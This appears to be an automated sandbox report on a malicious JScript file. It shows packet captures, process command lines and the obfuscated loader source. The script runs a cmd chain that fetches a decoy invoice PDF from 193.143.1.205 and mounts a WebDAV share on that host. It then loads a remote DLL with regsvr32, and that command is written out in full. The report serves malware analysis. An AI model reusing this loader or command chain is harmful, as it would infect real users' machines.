Jan 11, 2025 08:30:20.739870071 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.739892006 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.739903927 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.739927053 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.739970922 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.739976883 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.740011930 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.740041018 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.740072966 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.740083933 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.740115881 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.740127087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.740158081 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.740190983 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.740211010 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.740222931 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.740394115 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.847807884 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:21.244111061 CET	49703	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:21.249145031 CET	8888	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:21.249236107 CET	49703	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:21.249429941 CET	49703	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:21.254228115 CET	8888	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:22.052234888 CET	8888	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:22.097399950 CET	49703	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:23.652939081 CET	49703	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:30:28.981486082 CET	51092	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:30:28.981486082 CET	192.168.2.7	1.1.1.1	0xa846	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:30:28.991404057 CET	1.1.1.1	192.168.2.7	0xa846	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:30:29.694787025 CET	1.1.1.1	192.168.2.7	0x95fa	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:30:29.694787025 CET	1.1.1.1	192.168.2.7	0x95fa	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	193.143.1.205	80	4340	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:30:19.217580080 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:30:19.993297100 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:30:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:30:19.993446112 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:30:19.993482113 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:30:19.993607998 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 08:30:19.993642092 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 08:30:19.993674994 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 08:30:19.993709087 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 08:30:19.993767023 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 08:30:19.993824005 CET	896	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 08:30:19.993860006 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G
Jan 11, 2025 08:30:19.999577999 CET	888	IN	Data Raw: 66 9c b0 5c 8b 7c 0f f5 43 85 e1 de e6 5c c9 d2 e4 a7 05 fc 4c 5f f9 44 4e dd ce 64 95 ab fc 8e 85 cf 82 94 41 bf 6b e9 d5 d0 7a 3b 74 7a f6 e4 a9 2b bc e1 73 d9 7d f4 50 5a 5d 42 6b 5e cd ca 33 7c 17 ba b1 f8 2d b5 61 5c f6 23 f0 69 1e 33 bd 7c Data Ascii: f\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49703	193.143.1.205	8888	7580	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:30:21.249429941 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:30:22.052234888 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:30:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:30:15
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js"
Imagebase:	0x7ff612ab0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:30:16
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll
Imagebase:	0x7ff66d110000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:30:16
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:30:16
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:30:19
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	02:30:20
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff66d110000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:30:20
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7bc4c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:30:20
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:30:20
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	02:30:20
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1720,i,11788301143701952153,5326730289212110203,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function avafzf() {	avafzf() ➔ undefined
1	wtokjfefw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var olrgjxbr = this[zkpsimcq + mvenwpw + oqylrzch + smonremu + ljoemgwl + orshgmo + rzotrc + rgrozbjt] ( this[xfnyayz + iorwku + sifigkpm + oqylrzch + mtyqgvk + zkpsimcq + rgrozbjt][jzmrqkc + oqylrzch + ljoemgwl + mvenwpw + rgrozbjt + ljoemgwl + izbuthbkf + tlbgbhzkr + nyncjmlm + ljoemgwl + sifigkpm + rgrozbjt] ( xfnyayz + iorwku + sifigkpm + oqylrzch + mtyqgvk + zkpsimcq + rgrozbjt + wkjbpqngj + iorwku + mbpzoi + ljoemgwl + unkfqux + unkfqux ) [pufarc + ljoemgwl + mshkme + pufarc + ljoemgwl + mvenwpw + zdakmn] ( ngjrl + hddidba + nhbiwxhov + btjkebh + iwhdvrul + jzmrqkc + moosh + pufarc + pufarc + nhbiwxhov + eurgu + gjevbtv + iwhdvrul + moosh + iorwku + nhbiwxhov + pufarc + vamsgpce + jzmrqkc + czcwotzn + rzotrc + rgrozbjt + oqylrzch + czcwotzn + unkfqux + lhswh + mugodrf + mvenwpw + rzotrc + ljoemgwl + unkfqux + vamsgpce + orshgmo + rzotrc + rgrozbjt + ljoemgwl + oqylrzch + rzotrc + mvenwpw + rgrozbjt + mtyqgvk + czcwotzn + rzotrc + mvenwpw + unkfqux + vamsgpce + nrjcyeh + czcwotzn + sifigkpm + mvenwpw + unkfqux + ljoemgwl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( mxgpuapsr = 0 ; mxgpuapsr < wtokjfefw[unkfqux + ljoemgwl + rzotrc + mshkme + rgrozbjt + mbpzoi] ; ++ mxgpuapsr )
4	{
5	if ( olrgjxbr == wtokjfefw[mxgpuapsr] )
6	{
7	olrgjxbr = true;
8	break ;
9	}
10	}
11	if ( olrgjxbr !== true )
12	this[xfnyayz + iorwku + sifigkpm + oqylrzch + mtyqgvk + zkpsimcq + rgrozbjt][rsqbxmgj + fmejaw + mtyqgvk + rgrozbjt] ( );
13	this[xfnyayz + iorwku + sifigkpm + oqylrzch + mtyqgvk + zkpsimcq + rgrozbjt][jzmrqkc + oqylrzch + ljoemgwl + mvenwpw + rgrozbjt + ljoemgwl + izbuthbkf + tlbgbhzkr + nyncjmlm + ljoemgwl + sifigkpm + rgrozbjt] ( xfnyayz + iorwku + sifigkpm + oqylrzch + mtyqgvk + zkpsimcq + rgrozbjt + wkjbpqngj + iorwku + mbpzoi + ljoemgwl + unkfqux + unkfqux ) [oqylrzch + fmejaw + rzotrc] ( sifigkpm + elabplrw + zdakmn + lhswh + qcikzrx + sifigkpm + lhswh + zkpsimcq + czcwotzn + lrdhvm + ljoemgwl + oqylrzch + smonremu + mbpzoi + ljoemgwl + unkfqux + unkfqux + wkjbpqngj + ljoemgwl + mjcqztkvf + ljoemgwl + lhswh + yltqe + jzmrqkc + czcwotzn + elabplrw + elabplrw + mvenwpw + rzotrc + zdakmn + lhswh + nnorjt + orshgmo + rzotrc + hhqxl + czcwotzn + svqsdcew + ljoemgwl + yltqe + xfnyayz + ljoemgwl + tlbgbhzkr + pufarc + ljoemgwl + mgxifw + fmejaw + ljoemgwl + smonremu + rgrozbjt + lhswh + yltqe + izbuthbkf + fmejaw + rgrozbjt + abqerqigm + mtyqgvk + unkfqux + ljoemgwl + lhswh + bbckh + rgrozbjt + ljoemgwl + elabplrw + zkpsimcq + bbckh + vamsgpce + mtyqgvk + rzotrc + hhqxl + czcwotzn + mtyqgvk + sifigkpm + ljoemgwl + wkjbpqngj + zkpsimcq + zdakmn + mggeuvkq + lhswh + mbpzoi + rgrozbjt + rgrozbjt + zkpsimcq + qqihnvhte + qcikzrx + qcikzrx + iqulynrrf + btlrg + jnijdik + wkjbpqngj + iqulynrrf + vseodav + jnijdik + wkjbpqngj + iqulynrrf + wkjbpqngj + wnqqc + rrhhecelk + dgldrwb + qcikzrx + mtyqgvk + rzotrc + hhqxl + czcwotzn + mtyqgvk + sifigkpm + ljoemgwl + wkjbpqngj + zkpsimcq + mbpzoi + zkpsimcq + nnorjt + gwkzxh + gwkzxh + smonremu + rgrozbjt + mvenwpw + oqylrzch + rgrozbjt + lhswh + bbckh + rgrozbjt + ljoemgwl + elabplrw + zkpsimcq + bbckh + vamsgpce + mtyqgvk + rzotrc + hhqxl + czcwotzn + mtyqgvk + sifigkpm + ljoemgwl + wkjbpqngj + zkpsimcq + zdakmn + mggeuvkq + gwkzxh + gwkzxh + sifigkpm + elabplrw + zdakmn + lhswh + qcikzrx + sifigkpm + lhswh + rzotrc + ljoemgwl + rgrozbjt + lhswh + fmejaw + smonremu + ljoemgwl + lhswh + vamsgpce + vamsgpce + iqulynrrf + btlrg + jnijdik + wkjbpqngj + iqulynrrf + vseodav + jnijdik + wkjbpqngj + iqulynrrf + wkjbpqngj + wnqqc + rrhhecelk + dgldrwb + lylrbnjc + hwmre + hwmre + hwmre + hwmre + vamsgpce + zdakmn + mvenwpw + hhqxl + lrdhvm + lrdhvm + lrdhvm + oqylrzch + czcwotzn + czcwotzn + rgrozbjt + vamsgpce + gwkzxh + gwkzxh + sifigkpm + elabplrw + zdakmn + lhswh + qcikzrx + sifigkpm + lhswh + oqylrzch + ljoemgwl + mshkme + smonremu + hhqxl + oqylrzch + jnijdik + wnqqc + lhswh + qcikzrx + smonremu + lhswh + vamsgpce + vamsgpce + iqulynrrf + btlrg + jnijdik + wkjbpqngj + iqulynrrf + vseodav + jnijdik + wkjbpqngj + iqulynrrf + wkjbpqngj + wnqqc + rrhhecelk + dgldrwb + lylrbnjc + hwmre + hwmre + hwmre + hwmre + vamsgpce + zdakmn + mvenwpw + hhqxl + lrdhvm + lrdhvm + lrdhvm + oqylrzch + czcwotzn + czcwotzn + rgrozbjt + vamsgpce + wnqqc + jnijdik + iqulynrrf + iqulynrrf + btlrg + vseodav + wnqqc + dgldrwb + fsfxvwb + wnqqc + btlrg + jnijdik + wnqqc + iqulynrrf + wkjbpqngj + zdakmn + unkfqux + unkfqux, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll",0,false) ➔ 0
14	}
15	xfnyayz = "s";
16	xfnyayz = "b";
17	xfnyayz = "Y";
18	xfnyayz = "y";
19	xfnyayz = "u";
20	xfnyayz = "p";
21	xfnyayz = "M";
22	xfnyayz = "E";
23	xfnyayz = "b";
24	xfnyayz = "x";
25	xfnyayz = "Y";
26	xfnyayz = "m";
27	xfnyayz = "E";
28	xfnyayz = "V";
29	xfnyayz = "r";
30	xfnyayz = "S";
31	xfnyayz = "q";
32	xfnyayz = "j";
33	xfnyayz = "w";
34	xfnyayz = "X";
35	xfnyayz = "U";
36	xfnyayz = "A";
37	xfnyayz = "O";
38	xfnyayz = "B";
39	xfnyayz = "W";
40	xfnyayz = "u";
41	xfnyayz = "G";
42	xfnyayz = "b";
43	xfnyayz = "s";
44	xfnyayz = "g";
45	xfnyayz = "L";
46	xfnyayz = "k";
47	xfnyayz = "M";
48	xfnyayz = "S";
49	xfnyayz = "o";
50	xfnyayz = "G";
51	xfnyayz = "W";
52	gjevbtv = "E";
53	gjevbtv = "i";
54	gjevbtv = "T";
55	gjevbtv = "z";
56	gjevbtv = "q";
57	gjevbtv = "N";
58	gjevbtv = "X";
59	gjevbtv = "E";
60	gjevbtv = "x";
61	gjevbtv = "M";
62	gjevbtv = "O";
63	gjevbtv = "f";
64	gjevbtv = "p";
65	gjevbtv = "o";
66	gjevbtv = "G";
67	gjevbtv = "i";
68	gjevbtv = "W";
69	gjevbtv = "c";
70	gjevbtv = "A";
71	gjevbtv = "E";
72	gjevbtv = "K";
73	gjevbtv = "s";
74	gjevbtv = "W";
75	gjevbtv = "k";
76	gjevbtv = "S";
77	gjevbtv = "r";
78	gjevbtv = "K";
79	gjevbtv = "L";
80	gjevbtv = "J";
81	gjevbtv = "h";
82	gjevbtv = "H";
83	gjevbtv = "a";
84	gjevbtv = "X";
85	gjevbtv = "x";
86	gjevbtv = "h";
87	gjevbtv = "e";
88	gjevbtv = "r";
89	gjevbtv = "T";
90	hddidba = "Y";
91	hddidba = "A";
92	hddidba = "c";
93	hddidba = "Q";
94	hddidba = "v";
95	hddidba = "K";
96	gwkzxh = "q";
97	gwkzxh = "V";
98	gwkzxh = "j";
99	gwkzxh = "R";
100	gwkzxh = "b";
101	gwkzxh = "F";
102	gwkzxh = "Y";
103	gwkzxh = "D";
104	gwkzxh = "Q";
105	gwkzxh = "M";
106	gwkzxh = "u";
107	gwkzxh = "e";
108	gwkzxh = "O";
109	gwkzxh = "&";
110	tlbgbhzkr = "m";
111	tlbgbhzkr = "n";
112	tlbgbhzkr = "H";
113	tlbgbhzkr = "L";
114	tlbgbhzkr = "b";
115	nyncjmlm = "j";
116	mvenwpw = "s";
117	mvenwpw = "J";
118	mvenwpw = "x";
119	mvenwpw = "m";
120	mvenwpw = "s";
121	mvenwpw = "e";
122	mvenwpw = "w";
123	mvenwpw = "F";
124	mvenwpw = "d";
125	mvenwpw = "Y";
126	mvenwpw = "F";
127	mvenwpw = "u";
128	mvenwpw = "c";
129	mvenwpw = "c";
130	mvenwpw = "G";
131	mvenwpw = "B";
132	mvenwpw = "z";
133	mvenwpw = "q";
134	mvenwpw = "k";
